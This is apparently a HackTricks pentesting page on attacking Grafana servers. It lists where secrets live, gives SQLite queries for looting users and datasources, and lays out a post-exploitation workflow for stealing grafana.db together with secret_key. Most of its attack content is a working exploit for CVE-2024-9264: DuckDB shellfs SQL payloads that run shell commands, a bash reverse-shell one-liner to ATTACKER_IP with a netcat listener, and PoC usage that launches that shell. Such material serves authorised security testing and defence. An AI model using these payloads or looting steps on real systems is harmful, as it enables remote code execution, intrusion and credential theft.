Grafana
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Interesting stuff
- Main config is usually in
/etc/grafana/grafana.ini(Deb/RPM) and can contain sensitive values such asadmin_user,admin_password,secret_key, OAuth settings, SMTP creds, and renderer tokens. - By default Grafana stores data in SQLite3 under
/var/lib/grafana/grafana.db. - Provisioning files are very interesting after host access:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- Environment-variable expansion is supported in provisioning files, so leaked YAML often reveals both secrets and the env var names backing them.
- Installed plugins are commonly found under
/var/lib/grafana/plugins. - Inside the platform you could invite people, generate API keys / service account tokens, list plugins, or install new plugins depending on the role.
- The browser is also loot: Grafana exposes non-secret datasource config to the frontend. If you have a Viewer session (or anonymous access is enabled), inspect
window.grafanaBootDatafrom DevTools.
Useful SQLite checks:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Looting datasources and secrets
Grafana separates browser-readable configuration from encrypted secrets:
jsonDatais visible to users in the browser and is commonly enough to enumerate internal hosts, tenants, auth modes, header names, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs, and similar recon data.secureJsonDatais encrypted server-side and no longer readable from the browser after the datasource is saved.
Post-exploitation workflow:
- Dump
grafana.iniand recoversecret_key. - Loot
grafana.dband provisioning files. - Enumerate datasources and plugin configuration to find reusable credentials and internal endpoints.
- If migrating or replaying the database in another Grafana instance, keep the same
secret_keyor stored datasource passwords/tokens will not decrypt correctly.
Why secret_key matters in newer versions:
- Since Grafana v9, database secrets use envelope encryption.
- Grafana encrypts secrets with data encryption keys (DEKs), and those DEKs are encrypted with a key encryption key (KEK) derived from
secret_key. - From an attacker perspective,
grafana.db+secret_keyis the pair worth stealing.
Plugin attack surface
Treat plugins as part of the target, not a footnote:
- Enumerate them from the filesystem, from the UI, or from the API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Older or third-party plugins regularly expand Grafana’s reach into internal networks because they proxy HTTP requests or interact with local files/databases.
- Recent examples include SSRF in the Infinity plugin (
< 3.4.1) and abuse paths where the Image Renderer plugin turns another bug into full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.
Impact
- Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads.
- Preconditions commonly met in real deployments:
- SQL Expressions enabled:
expressions.enabled = true duckdbbinary present in PATH on the server
- SQL Expressions enabled:
Quick checks
- In the UI/API, browse Admin settings (Swagger:
/swagger-ui, endpoint/api/admin/settings) to confirm:expressions.enabledis true- Optional: version, datasource types, and general hardening settings
- Shell on host:
which duckdbmust resolve for the exploit path below.
Manual query pattern using DuckDB + shellfs
- Abuse flow (2 queries):
- Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
- Read back the temp file using
read_blob
Example SQL Expressions payloads that get passed to DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files.
One-liner reverse shell example
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Embed that as CMD in the first query while you have a listener: nc -lnvp 443.
Automated PoC
- Public PoC (built on cfreal’s ten framework):
Usage example
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
If output shows uid=0(root), Grafana is running as root (common inside some containers).
2025 client-side traversal / open redirect chain
The 2025 Grafana client-side traversal and open-redirect chain is already documented in more generic client-side pages. Use those techniques against Grafana-specific paths such as plugin assets, dashboard script loaders, and token-rotation redirects:
References
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


